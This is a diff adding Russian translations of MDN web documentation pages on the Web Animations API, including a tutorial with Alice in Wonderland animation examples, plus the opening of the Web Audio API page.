+<p>{{Compat("api.VRStageParameters.sizeY")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демонстрационные материалы,загружаемые и другие ресурсы команды Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/web_animations_api/index.html b/files/ru/web/api/web_animations_api/index.html
new file mode 100644
index 0000000000..bb8ac2a631
--- /dev/null
+++ b/files/ru/web/api/web_animations_api/index.html
@@ -0,0 +1,100 @@
+---
+title: Web Animations API
+slug: Web/API/Web_Animations_API
+translation_of: Web/API/Web_Animations_API
+---
+<p>{{DefaultAPISidebar("Веб-анимация")}} {{SeeCompatTable()}}</p>
+
+<div class="summary">
+<p>API веб-анимации позволяет синхронизировать и сроки изменения представления веб-страницы, то есть анимации элементов DOM. Она делает это путем объединения двух моделей: Модель синхронизации и анимации модели.</p>
+</div>
+
+<h2 id="Основные_понятия_и_использование_API">Основные понятия и использование API</h2>
+
+<p>Web Animations API (API веб-анимации) обеспечивает общий язык для браузеров и разработчиков для описания анимации элементов DOM. Для более подробной информации о концепциях, заложенных в API, и о его использовании, прочтите статью <a href="/en-US/docs/Web/API/Web_Animations_API/Using_the_Web_Animations_API">Использование Web Animations API </a> .</p>
+
+<h2 id="Интерфейсы_веб-анимации">Интерфейсы веб-анимации</h2>
+
+<dl>
+</dl>
+
+<dl>
+ <dt>{{Domxref("Animation")}}</dt>
+ <dd>Обеспечивает элементы управления воспроизведением и временную шкалу для узла анимации или источника. Можно взять объект, созданный с помощью {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} конструктор.</dd>
+ <dt>{{Domxref("KeyframeEffect")}}</dt>
+ <dd>Описывает наборы анимируемых свойств и значений, называемых  <strong>ключевыми кадрами</strong> и их <a href="/en-US/docs/Web/API/Web_Animations_API/Animation_timing_options">параметры синхронизации </a><strong>. </strong> Они могут затем быть воспроизведены с помощью {{domxref("Animation.Animation", " Animation()")}} конструктор.</dd>
+ <dt>{{Domxref("AnimationTimeline")}}</dt>
+ <dd>Представляет график анимации. Этот интерфейс существует, чтобы определить особенности временной шкалы (наследуемые интерфейсом {{domxref("DocumentTimeline")}} и другими интерфейсами в будущем) и не предназначен для непосредственного использования разработчиками.</dd>
+ <dt>{{Domxref("DocumentTimeline")}}</dt>
+ <dd>Представляет временные рамки анимации, в том числе временные рамки анимации по умолчанию для документа (через свойство {{domxref("Document.timeline")}}).</dd>
+ <dt>{{Domxref("AnimationEffectTiming")}}</dt>
+ <dd>Объект, содержащий временные свойства, возвращенные {{domxref("KeyframeEffect.timing", "сроки")}} атрибут {{domxref("KeyframeEffect")}}. Он наследует свои свойства от {{domxref("AnimationEffectTimingReadOnly")}}, но в не только чтение формы.</dd>
+ <dt>{{Domxref("SharedKeyframeList")}}</dt>
+ <dd>Представляет собой последовательность ключевых кадров , которые могут быть разделены между {{domxref("KeyframeEffect")}} объектов. Используя <code>SharedKeyframeList</code>объекты, несколько <code>KeyframeEffect</code>объектов могут повторно использовать одни и те же ключевые кадры , не заплатив стоимость разбора их несколько раз.</dd>
+ <dt>{{domxref("AnimationEffectTimingProperties")}}</dt>
+ <dd>{{Domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly()")}} и {{domxref("KeyframeEffect.KeyframeEffect()")}} все принимают необязательный словарь объект синхронизации свойств.</dd>
+</dl>
+
+<h2 id="Расширения_для_других_интерфейсов">Расширения для других интерфейсов</h2>
+
+<p>API веб - анимации добавляет некоторые новые функции в <strong style="font-size: 14px; font-weight: 700; line-height: 1.5;">{{domxref("документ")}}</strong> и  <strong style="font-size: 14px; font-weight: 700; line-height: 1.5;">{{domxref("элемент")}}.</strong></p>
+
+<h3 id="Расширения_Documentинтерфейса">Расширения <code>Document</code>интерфейса</h3>
+
+<dl>
+ <dt>{{Domxref("document.timeline")}}</dt>
+ <dd><code>DocumentTimeline</code>Объект , представляющий документ по умолчанию временную шкалу.</dd>
+ <dt>{{Domxref("document.getAnimations()")}}</dt>
+ <dd>Возвращает массив {{domxref("Анимация")}} объектов в настоящее время действуют на элементах в <code>document</code>.</dd>
+ <dt>
+ <h3 id="Расширения_Elementинтерфейса">Расширения <code>Element</code>интерфейса</h3>
+ </dt>
+ <dt>{{Domxref("Element.animate()")}}</dt>
+ <dd>Способ быстрого доступа для создания и воспроизведения анимации на элементе. Она возвращает созданный {{domxref("Анимация")}} экземпляра объекта.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Веб-анимация_для_чтения_только_интерфейсы">Веб-анимация для чтения только интерфейсы</h2>
+
+<p>Следующие интерфейсы включены в спецификации для таких целей, как определение функции, используемые в нескольких других местах, или служить в качестве основы для нескольких интерфейсов, которые могут быть использованы в качестве значений одних и тех же свойств. Вы бы не напрямую использовать их в работе веб-разработки, но они могут быть интересны для авторов библиотеки, чтобы понять, как эта технология работает, так что их реализации могут быть более эффективными, или для инженеров браузеров, которые ищут более легкой ссылки, чем спецификация обеспечивает.</p>
+
+<dl>
+ <dt>{{Domxref("AnimationEffectTimingReadOnly")}}</dt>
+ <dd>Словарь объект временных свойств, которые наследуются изменяемом {{domxref("AnimationEffectTiming")}} интерфейс, связанный с {{domxref("KeyframeEffect")}}.</dd>
+ <dt>{{Domxref("AnimationEffectReadOnly")}}</dt>
+ <dd>Определяет текущие и будущие "Анимационные эффекты" , как {{domxref("KeyframeEffect")}}, который может быть передан {{domxref("Анимация")}} объектов для воспроизведения, и {{domxref("KeyframeEffectReadOnly")}} который используется {{domxref("KeyframeEffect")}} (наследуется <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a> и <a href="/en-US/docs/Web/CSS/CSS_Transitions">Transitions</a> ). Все значения {{domxref("Animation.effect")}} имеют типов на основе <code>AnimationEffectReadOnly</code>.</dd>
+ <dt>{{Domxref("KeyframeEffectReadOnly")}}</dt>
+ <dd>Описывает наборы Animatable свойств и значений, которые могут быть воспроизведены с помощью {{domxref("Animation.Animation", "анимация()")}} конструктор, и которые унаследованы {{domxref("KeyframeEffect")}}. </dd>
+</dl>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName ( 'Web Анимации')}}</td>
+   <td>{{Spec2 ( 'Web Анимации')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API/Using_the_Web_Animations_API">Использование веб-API Animations</a></li>
+ <li><a href="https://mozdevs.github.io/Animation-examples/">Web демки Анимации</a></li>
+ <li><a href="https://github.com/web-animations/web-animations-js">Polyfill</a></li>
+ <li>Текущая реализация браузера Firefox:  <a href="https://birtles.github.io/areweanimatedyet/">AreWeAnimatedYet</a></li>
+ <li>
+  <p><a href="http://codepen.io/danwilson/pen/xGBKVq">Тест Поддержка браузеров</a></p>
+ </li>
+</ul>
diff --git a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html
new file mode 100644
index 0000000000..78975958c6
--- /dev/null
+++ b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html
@@ -0,0 +1,353 @@
+---
+title: Using the Web Animations API
+slug: Web/API/Web_Animations_API/Using_the_Web_Animations_API
+tags:
+  - Анимация
+translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
+---
+<p>{{DefaultAPISidebar("Web Animations")}}</p>
+
+<p class="summary">Web Animations API позволяет нам создать анимацию и управлять её воспроизведением с помощью JavaScript. Эта статья будет правильным руководством для старта c веселыми демками и уроками с Алисой в Стране Чудес.</p>
+
+<h2 id="Встречайте_Web_Animations_API">Встречайте Web Animations API</h2>
+
+<p>В <a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> открывает анимацию на движке браузеров для разработчиков и манипуляции через (с помощью) JavaScript.<br>
+ Этот API был разработан в основе реализации <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a> и <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS Transitions</a>, и оставлял свободу движений для будущих анимационных эффектов. Это один из самых эффективных способов анимации, поддерживаемой в Интернете, позволяя браузеру сделать свою собственную внутреннюю оптимизацию без хаков, принуждения, или {{domxref("Window.requestAnimationFrame()")}}.</p>
+
+<p>С Web Animations API, мы можем управлять интерактивной анимацией со стилями  JavaScript, отделяя представление от действия. Нам больше не нужно полагаться  на DOM-heavy методики написания CSS свойств и обзорных классов для элементов контроля воспроизведения направления. И в отличии от чисто декларативного CSS, JavaScript также позволяет устанавливать динамические значения свойств и их продолжительность. Для создания пользовательских библиотек и интерактивной анимации Web Animations API может стать прекрасным инструментом в работе. Давайте посмотрим, что он может сделать!</p>
+
+<h2 id="Поддержка_Браузеров">Поддержка Браузеров</h2>
+
+<p>Основы и компоненты Web Animations API, описанные в этой статье доступны в Firefox 48+ и Chrome 36+. Webkit и Edge перешли на  API соответственно, но пока нет полной поддержки во всех браузерах, есть удобная служба проверки <a href="https://github.com/web-animations/web-animations-js">handy maintained polyfill</a> которая тестирует и добавляет ее при необходимости.</p>
+
+<h2 id="Написание_CSS_Animations_вместе_с_Web_Animations_API">Написание CSS Animations вместе с Web Animations API</h2>
+
+<p>Самый простой способ в обучении Web Animations API это начать с чего начинало большинство веб-разработчиков: CSS Animations. В CSS Animations есть знакомый синтаксис, который хорошо раскрывает структуры демонстрационных примеров.</p>
+
+<h3 id="CSS_версия">CSS версия</h3>
+
+<p>Вот такая анимация написана в CSS, показывающая, как Алиса падает в кроличью нору, которая ведет в страну чудес (см. полный код на<a href="http://codepen.io/rachelnabors/pen/QyOqqW"> Codepen</a>):</p>
+
+<p><a href="http://codepen.io/rachelnabors/pen/rxpmJL"><img alt="Alice Tumbling down the rabbit's hole." src="https://mdn.mozillademos.org/files/13843/tumbling-alice_optimized.gif" style="display: block; height: 374px; margin-left: auto; margin-right: auto; width: 700px;"></a></p>
+
+<p>Заметьте, что фон двигается, Алиса крутится и ее цвет меняется при вращении. Мы собираемся сосредоточиться только на Алисе в этом уроке. Вот упрощенный код CSS, который управляет движением Алисы.</p>
+
+<pre class="brush: css notranslate">#alice {
+  animation: aliceTumbling infinite 3s linear;
+}
+
+@keyframes aliceTumbling {
+  0% {
+    color: #000;
+    transform: rotate(0) translate3D(-50%, -50%, 0);
+  }
+  30% {
+    color: #431236;
+  }
+  100% {
+    color: #000;
+    transform: rotate(360deg) translate3D(-50%, -50%, 0);
+  }
+}</pre>
+
+<p>Изменение цвета Алисы и ее вращение в течение 3 секунд при постоянной (линейной) скорости и бесконечном цикле. В <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a> блоке мы видим, что 30%  из всего цикла (около 9 секунд), цвет Алисы меняется от черного до насыщенного бордового, а потом снова в черный к концу цикла.</p>
+
+<h3 id="Движение_в_JavaScript">Движение в JavaScript</h3>
+
+<p>Теперь давайте попробуем создать такую же анимацию с Web Animations API.</p>
+
+<h4 id="Представляя_кадры">Представляя кадры</h4>
+
+<p>В первую очередь мы должны сосздать <a href="/en-US/docs/Web/API/Web_Animations_API/Keyframe_Formats">Keyframe Object</a> соответствующего нашему CSS <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a> блоку:</p>
+
+<pre class="brush: js notranslate">var aliceTumbling = [
+  { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' },
+  { color: '#431236', offset: 0.333},
+  { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' }
+];</pre>
+
+<p>Здесь мы используем массив, содержащий несколько объектов. Каждый объект представляет собой код от оригинального CSS. Однако, в отличие от CSS, Web Animations API не нужно назначать точные проценты по анимации для каждого открывающего кода. Он автоматически разделит анимацию на равные части в соответствии с количеством кодов, которые вы ему даете. Это означает, что объект Keyframe с тремя кодами будет воспроизводить средний код 50% времени через каждый цикл анимации если не указано иное.</p>
+
+<p>Если мы хотим, чтобы определенный набор кода смещался относительного другого кода, мы можем указать смещение непосредственно на объекте который будет меняться, отделив значение запятой. В приведенном выше примере видно, чтобы цвет Алисы менялся на 30%, а не на 50% всего цикла, мы задаем смещение: 0,333.</p>
+
+<p>Там должно быть как минимум два кадра (представляющих начало и конец анимации). Если в вашем списке keyframe только одна запись, {{domxref("Element.animate()")}} то анимация выполняться не будет, вы получите ошибку NotSupportedError exception.</p>
+
+<p>И так повторим, код равномерно распределен по умолчанию, если не указано смещение. Удобно, не так ли?</p>
+
+<h4 id="Представление_свойства_времени.">Представление свойства времени.</h4>
+
+<p>Мы также должны создать объекту временные свойства (an {{domxref("AnimationEffectTimingProperties")}} object) соответствующие значению анимации Алисы:</p>
+
+<pre class="brush: js notranslate">var aliceTiming = {
+  duration: 3000,
+  iterations: Infinity
+}</pre>
+
+<p>Вы увидите здесь несколько отличий того, как соответствующие значения представлены в CSS:</p>
+
+<ul>
+ <li>Во-первых, длительность в миллисекундах, в отличии от секунд - 3000, а не 3с. Как {{domxref("WindowTimers.setTimeout()")}} и {{domxref("Window.requestAnimationFrame()")}}, Web Animations API использует только миллисекунды.</li>
+ <li>Во-вторых, что вы заметили, что он итерационный (повторяется), а не счетчик повторений.</li>
+</ul>
+
+<div class="note">
+<p>Существует ряд небольших различий между терминологией, используемой в анимации CSS и терминологии, которая используется в веб-анимации. Например, веб-анимации не используется строка "бесконечное", а вместо этого использует JavaScript код бесконечность. И вместо временной-функции мы используем ослабление. Мы не будем перечислять здесь значение ослабления, потому что, в отличие от CSS анимации, где по умолчанию <a href="/en-US/docs/Web/CSS/animation-timing-function">animation-timing-function</a> это просто, в веб-анимации API для ослаблеия по умолчанию используется линейная зависимость - котрые мы используем здесь</p>
+</div>
+
+<h4 id="Собираем_части_вместе.">Собираем части вместе.</h4>
+
+<p>Сейчас соберем все части вместе используя {{domxref("Element.animate()")}} метод:</p>
+
+<pre class="brush: js notranslate">document.getElementById("alice").animate(
+  aliceTumbling,
+  aliceTiming
+)</pre>
+
+<p>И вуаля, анимация работает(смотрите готовый вариант на <a href="http://codepen.io/rachelnabors/pen/rxpmJL">version on Codepen</a>).</p>
+
+<p>The <code>animate()</code> метод может быть применен на любой DOM-элемент, который может быть анимирован с помощью CSS. И он может быть записан несколькими способами. Вместо того, чтобы делить объекты на ключевые кадры и временные характеристики, мы могли бы просто передать свои значения непосредственно вот так:</p>
+
+<pre class="brush: js notranslate">document.getElementById("alice").animate(
+  [
+    { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' },
+    { color: '#431236', offset: 0.333},
+    { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' }
+  ], {
+    duration: 3000,
+    iterations: Infinity
+  }
+);</pre>
+
+<p>Более того, если мы хотели указать только длительность анимации, а не ее повторение (по умолчанию анимации повторяется один раз), мы могли бы пройтись только по миллисекундам:</p>
+
+<pre class="brush: js notranslate">document.getElementById("alice").animate(
+  [
+    { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' },
+    { color: '#431236', offset: 0.333},
+    { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' }
+  ], 3000);</pre>
+
+<h2 id="Управление_воспроизведением_с_помощью_play_pause_reverse_and_playbackRate">Управление воспроизведением с помощью play(), pause(), reverse() and playbackRate</h2>
+
+<p>Хотя мы можем писать CSS анимацию с Web Animations API, где API действительно хорошо подходит в качестве воздействия для воспроизведения анимации. Web Animations API обеспечивает несколько удобных методов для контроля воспроизведения анимации. Давайте посмотрим на паузу и воспроизведение анимации в росте/уменьшении Алисы в игре (провериить полный код можно на сайте <a href="http://codepen.io/rachelnabors/pen/PNYGZQ">full code on Codepen</a>):</p>
+
+<p><a href="http://codepen.io/rachelnabors/pen/PNYGZQ?editors=0010"><img alt="Playing the growing and shrinking game with Alice." src="https://mdn.mozillademos.org/files/13845/growing-shrinking_article_optimized.gif" style="display: block; height: 374px; margin-left: auto; margin-right: auto; width: 700px;"></a></p>
+
+<p>В этой игре Алиса меняется в росте, она то растет, то уменьшается, а контролируем мы этот процесс с помощью  бутылки и кекса. Каждый из них имеют свою анимацию.</p>
+
+<h3 id="Пауза_и_проигрывание_анимации.">Пауза и проигрывание анимации.</h3>
+
+<p>Мы поговорим об анимации Алисы позже, а сейчас посмотрим поближе на анимации кекса:</p>
+
+<pre class="brush: js notranslate">var nommingCake = document.getElementById('eat-me_sprite').animate(
+[
+  { transform: 'translateY(0)' },
+  { transform: 'translateY(-80%)' }
+], {
+  fill: 'forwards',
+  easing: 'steps(4, end)',
+  duration: aliceChange.effect.timing.duration / 2
+});</pre>
+
+<p>Метод {{domxref("Element.animate()")}} будет выполняться сразу же как начнется игра. Чтобы предотвратить автоматическое поедание кекса до того, как пользователь на него нажмет, мы вызываем {{domxref("Animation.pause()")}} сразу же как игра открывается, например так:</p>
+
+<pre class="brush: js notranslate">nommingCake.pause();</pre>
+
+<p>Теперь мы можем запустить метод {{domxref("Animation.play()")}} когда будем готовы:</p>
+
+<pre class="brush: js notranslate">nommingCake.play();</pre>
+
+<p>Нам необходимо связать его с анимацией Алисы, чтобы она росла всякий раз, когда съедала кекс. Мы можем сделать это с помощью функции:</p>
+
+<pre class="brush: js notranslate">var growAlice = function() {
+
+  // Play Alice's animation.
+  aliceChange.play();
+
+  // Play the cake's animation.
+  nommingCake.play();
+
+}</pre>
+
+<p>Когда пользователь поместит указатель мыши вниз или нажимает пальцем на торт на сенсорном экране, мы можем вызвать growAlice, чтобы выполнить все анимации:</p>
+
+<pre class="brush: js notranslate">cake.addEventListener("mousedown", growAlice, false);
+cake.addEventListener("touchstart", growAlice, false);</pre>
+
+<h3 id="Другие_полезные_методы.">Другие полезные методы.</h3>
+
+<p>Помимо паузы и воспроизведения, мы можем использовать следующие методы анимации:</p>
+
+<ul>
+ <li>{{domxref("Animation.finish()")}} перейти в конец анимации.</li>
+ <li>{{domxref("Animation.cancel()")}} прервать анимацию и удалить ее эффект.</li>
+ <li>{{domxref("Animation.reverse()")}} устанавливать скорость анимации если установить ({{domxref("Animation.playbackRate")}} отрицательное значение, то анимация пойдет в обратном порядке.</li>
+</ul>
+
+<p>Давайте посмотрим на первый playbackRate— отрицательное значение будет запускать анимацию в обратном направлении. Когда Алиса пьет из бутылки, она становится меньше. Это происходит потому, что бутылка изменяет ее анимацию playbackRate от 1 до -1:</p>
+
+<pre class="brush: js notranslate">var shrinkAlice = function() {
+  aliceChange.playbackRate = -1;
+  aliceChange.play();
+}
+
+bottle.addEventListener("mousedown", shrinkAlice, false);
+bottle.addEventListener("touchstart", shrinkAlice, false);</pre>
+
+<p>В <a href="https://en.wikipedia.org/wiki/Through_the_Looking-Glass">Through the Looking-Glass</a>, Алиса путешествует по миру, где должна бежать, чтобы оставаться на месте и бежать в двое быстрее, чтобы двигаться вперед. Например в гонке с Красной королевой, Алиса и Красная королева бегут, чтобы оставаться на месте (проверить полный код можно на <a href="http://codepen.io/rachelnabors/pen/PNGGaV">full code on Codepen</a>):</p>
+
+<p><a href="http://codepen.io/rachelnabors/pen/PNGGaV"><img alt="Alice and the Red Queen race to get to the next square in this game." src="https://mdn.mozillademos.org/files/13847/red-queen-race_optimized.gif" style="display: block; height: 342px; margin-left: auto; margin-right: auto; width: 640px;"></a></p>
+
+<p>Так как маленькие дети легко устают, в отличии от шахматных фигур, Алиса постоянно замедляется. Мы отобразили это в коде путем ослабления (уменьшения скорости) playbackRate анимации.</p>
+
+<pre class="brush: js notranslate">setInterval( function() {
+
+  // Make sure the playback rate never falls below .4
+  if (redQueen_alice.playbackRate &gt; .4) {
+    redQueen_alice.playbackRate *= .9;
+  }
+
+}, 3000);</pre>
+
+<p>Но постоянно нажимая на них мышью, мы заставляем их ускориться путем умножения playbackRate (скорости анимации)</p>
+
+<pre class="brush: js notranslate">var goFaster = function() {
+
+  redQueen_alice.playbackRate *= 1.1;
+
+}
+
+document.addEventListener("click", goFaster);
+document.addEventListener("touchstart", goFaster);</pre>
+
+<p>Фон также ускоряется при щелчках мыши или касаниях. Что же происходит, когда вы заставляете Алису и Красную королеву бежать в два раза быстрее? Что происходит, когда они тормозят?</p>
+
+<h2 id="Получение_информации_из_анимации">Получение информации из анимации</h2>
+
+<p>Представьте, что мы могли бы использовать playbackRate, как улучшения доступности сайта для пользователей с вестибулярными расстройствами, позволяя им замедлить анимацию на всех страницах сайта. Это невозможно сделать с помощью CSS без пересчета длительности в каждом правиле CSS, но с веб-анимации API, мы могли бы использовать в будущем (пока не поддерживается в браузерах!) Метод {{domxref("document.getAnimations()")}} систему циклов по каждой анимации на странице и сократить скорость анимации вот так:</p>
+
+<pre class="brush: js notranslate">document.getAnimations().forEach(
+  function (animation) {
+    animation.playbackRate *= .5;
+  }
+);</pre>
+
+<p>С Web Animations API нужно изменить только одно свойство.</p>
+
+<p>Другое дело, что это трудно делать только с CSS Animations, создавать зависимости от значения предусмотренные для других анимации. В примере игры про рост и уменьшение Алисы, вы можете заметить некоторые странности у кекса:</p>
+
+<pre class="brush: js notranslate">duration: aliceChange.effect.timing.duration / 2</pre>
+
+<p>Чтобы понять, что здесь происходит, давайте посмотрим на анимацию Алисы:</p>
+
+<pre class="brush: js notranslate">var aliceChange = document.getElementById('alice').animate(
+  [
+    { transform: 'translate(-50%, -50%) scale(.5)' },
+    { transform: 'translate(-50%, -50%) scale(2)' }
+  ], {
+    duration: 8000,
+    easing: 'ease-in-out',
+    fill: 'both'
+  });</pre>
+
+<p>Изменение размера Алисы в два раза происходит за 8 секунд. Затем мы останавливаем ее:</p>
+
+<pre class="brush: js notranslate">aliceChange.pause();</pre>
+
+<p>Если бы оставили ее на паузе в начале анимации , то Алиса увеличилась бы в два раза, когда выпила бы всю бутылку. Мы хотим остановить ее анимацию "воспроизведение" в середине, когда она уже на половину выполнена. Мы могли бы это сделать, установив {{domxref("Animation.currentTime")}} 4 секунды, вот так:</p>
+
+<pre class="brush: js notranslate">aliceChange.currentTime = 4000;</pre>
+
+<p>Но во время работы над этой анимацией мы можем сильно увеличить ее продолжительность. Разве не лучше установить динамическое изменение времени (currentTime), тогда нам не придется делать два обновления за один раз. Мы можем это сделать с помощью ссылки на изменение свойства размера Алисы (aliceChange) {{domxref("Animation.effect")}} который возвращает все детали и действующие эффекты, содержащиеся в объекте, на Алису:</p>
+
+<pre class="brush: js notranslate">aliceChange.currentTime = aliceChange.effect.timing.duration / 2;</pre>
+
+<p>эффекты позволяют нам получить доступ к анимации keyframe (кадров) и синхронности объектов - aliceChange.effect.timing , указывающий на время Алисиных элементов (котрые имеют тип {{domxref("AnimationEffectTimingReadOnly")}}) — в этом содержиться ее {{domxref("AnimationEffectTimingReadOnly.duration")}}. Мы можем распределить ее длительность на два раза, чтобы получить среднюю точку во временной шкале для установки нормального роста.</p>
+
+<p>Теперь мы можем запустить ее в обратном порядке и играться анимацией в любом направлении, чтобы заставить ее расти или уменьшаться</p>
+
+<pre class="brush: js notranslate">var drinking = document.getElementById('liquid').animate(
+[
+  { height: '100%' },
+  { height: '0' }
+], {
+  fill: 'forwards',
+  duration: aliceChange.effect.timing.duration / 2
+});
+drinking.pause();</pre>
+
+<p>И мы можем сделать тоже самое при установки длительности анимации на кексе или бутылке.</p>
+
+<p>Теперь все три анимации связаны только с одной продолжительности, и мы можем легко переходить из одного места.</p>
+
+<p>Мы также можем использовать веб-анимации API, чтобы выяснить Текущее время анимации. Игра заканчивается, когда вы бежите от съеденого торта или выпитой бутылки. Изображение у игрока будет зависить от анимации Алисы. Стала ли она слишком большой на фоне крошечной двери и не может в нее пройти или слишком маленькой и не может достать ключ, чтобы открыть дверь. Мы можем выяснить, стала она большой или маленький в конце ее анимация, получая текущее время ее анимации <code><a href="/en-US/docs/Web/API/Animation/currentTime">currentTime</a></code> и разделив ее на activeDuration:</p>
+
+<pre class="brush: js notranslate">var endGame = function() {
+
+  // get Alice's timeline's playhead location
+  var alicePlayhead = aliceChange.currentTime;
+  var aliceTimeline = aliceChange.effect.activeDuration;
+
+  // stops Alice's and other animations
+  stopPlayingAlice();
+
+  // depending on which third it falls into
+  var aliceHeight = alicePlayhead/aliceTimeline;
+
+  if (aliceHeight &lt;= .333){
+    // Alice got smaller!
+    ...
+
+  } else if (aliceHeight &gt;= .666) {
+    // Alice got bigger!
+    ...
+
+  } else {
+    // Alice didn't change significantly
+    ...
+
+  }
+}
+</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> <code>getAnimations()</code> и эффект не полностью поддерживаются на момент написания этой статьи, но polyfill  поддерживает их уже сегодня.</p>
+</div>
+
+<h2 id="Обратные_вызовы_и_обещания">Обратные вызовы и обещания</h2>
+
+<p>CSS Animations и Transitions (переходы) имеют свои события и они также могут быть воспроизведены и в Web Animations API:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/Animation/onfinish">onfinish</a></code> это обработчик событий для завершения события и он может быть запущена вручную в функйи/команды <code><a href="/en-US/docs/Web/API/Animation/finish">finish()</a></code>.</li>
+ <li><code><a href="/en-US/docs/Web/API/Animation/oncancel">oncancel</a></code> это обработчик для отмены события и может быть запуен с помощью функции/команды <code><a href="/en-US/docs/Web/API/Animation/cancel">cancel()</a></code>.</li>
+</ul>
+
+<p>Здесь мы устанавливаем обратный вызов для бутылки, кекса и Алисы, чтобы запустить функцию endGame.</p>
+
+<pre class="brush: js notranslate">// When the cake or runs out...
+nommingCake.onfinish = endGame;
+drinking.onfinish = endGame;
+
+// ...or Alice reaches the end of her animation
+aliceChange.onfinish = endGame;
+
+</pre>
+
+<p>Нравится перспектива? Web Animations API также дает две перспективы: <code><a href="/en-US/docs/Web/API/Animation/onfinish">onfinish</a></code> и <code><a href="/en-US/docs/Web/API/Animation/oncancel">oncancel</a></code>.</p>
+
+<div class="note">
+<p>Эти обещания не полностью поддерживаются в настоящий момент.</p>
+</div>
+
+<h2 id="Заключение">Заключение</h2>
+
+<p>Таковы основные особенности веб-анимации API, большинство из которых уже поддерживается в последних версиях Firefox и Chrome. К этому моменту вы должны быть готовы к "прыжку в кроличью нору" анимации в браузере и готовы написать свои собственные эксперименты в анимации! Если вы используете API и хотите поделиться, попробуйте использовать хэштег #WAAPI. Мы будем следить и писать другие учебники, чтобы охватить будущие дополнительные функции, в виде поддержки распространяя!</p>
+
+<h2 id="Посмотрите_также">Посмотрите также</h2>
+
+<ul>
+ <li class="post__title"><a href="http://codepen.io/collection/bpEza/">Полный набор Алиса в Стране Чудес демки</a> на сайт codepen для вас, чтобы играть, развиваться и делиться</li>
+ <li class="post__title"><a href="https://hacks.mozilla.org/2016/08/animating-like-you-just-dont-care-with-element-animate/">Animating like you just don’t care with Element.animate</a> — отличная статья, чтобы прочитать, где объясняется больше на фоне веб-анимации API, и поэтому он является более эффективным, чем другие методы веб-анимации</li>
+ <li class="post__title"><a href="https://github.com/web-animations/web-animations-js">web-animations-js</a> — the Web Animations API polyfill</li>
+</ul>
diff --git a/files/ru/web/api/web_audio_api/index.html b/files/ru/web/api/web_audio_api/index.html
new file mode 100644
index 0000000000..1cdd6d43b5
--- /dev/null
+++ b/files/ru/web/api/web_audio_api/index.html
@@ -0,0 +1,508 @@
+---
+title: Web Audio API
+slug: Web/API/Web_Audio_API
+tags:
+  - API
+  - Guide
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - TopicStub
+  - Web Audio API
+translation_of: Web/API/Web_Audio_API
+---
+<div>
+<p>Web audio API - мощный и многогранный инструмент для манипуляции звуковой составляющей на веб-странице, что дает возможность разработчикам выбрать источники, добавить к ним специальные звуковые эффекты (такие как panning), визуализировать их и многое другое.</p>
+</div>
+
+<h2 id="Общие_концепции_и_использование_Web_Audio">Общие концепции и использование Web Audio</h2>
+
+<p>Web audio API позволяет обрабатывать операции над аудио с помощью специального аудио контекста (audio context), и был спроектирован на использование модульной маршрутизации (modular routing). Базовые операции выполняются с помощью аудио узлов (audio nodes), которые объединяются вместе, формируя аудио-маршрутизаторную *таблицу (audio routing graph). Несколько источников - с разными видами поточных схем - поддерживаются даже изнутри простого контекста. Эта модульная концепция обеспечивает гибкость в создании сложных функций для динамических эффектов.</p>
+
+<p>Аудио узлы объединяются в цепи и простые сети их вводами и выводами. Они, как правило, запускаются с одним или более источниками. Источники представляют собой массивы сэмплов на единицу времени. Например, при частоте дискретизации 44100 Гц, в каждой секунде каждого канала расположено 22050 сэмплов. Они могут быть либо  обработаны математически (смотрите : OscillatorNode), либо считаны с звуко/видео файлов (смотрите : AudioBufferSourceNode и  MediaElementAudioSourceNode) или с аудио потоков (смотрите : MediaStreamAudioSourceNode). По факту, звуковые файлы - просто запись звуковых колебаний, которые поступают от микрофона и музыкальных инструментов, смешиваясь в одну сложную волну. Выводные данные этих узлов могут быть связаны с вводными других, что смешивают или модифицируют потоки звуковых образцов в инные потоки. Популярная модификация - умножение образца на значение, чтобы сделать выходной звук менее или более громким (смотрите : GainMode). Когда звук был успешно обработан предназначеным ему эффектом, он может быть привязан к выходному потоку (смотрите : AudioContext.destination), что направляет звук в динамики или микрофон. Данный шаг нужен лишь если вы предпочтёте дать возможность пользователю услышать ваши шедевры.</p>
+
+<p>Простой, типичный порядок действий выполнения манипуляций над аудио выглядит так :</p>
+
+<ol>
+ <li>Создадим аудио контекст</li>
+ <li>Внутри нашего контекста определим источники - такие как &lt;audio&gt;, генератор (oscillator), поток</li>
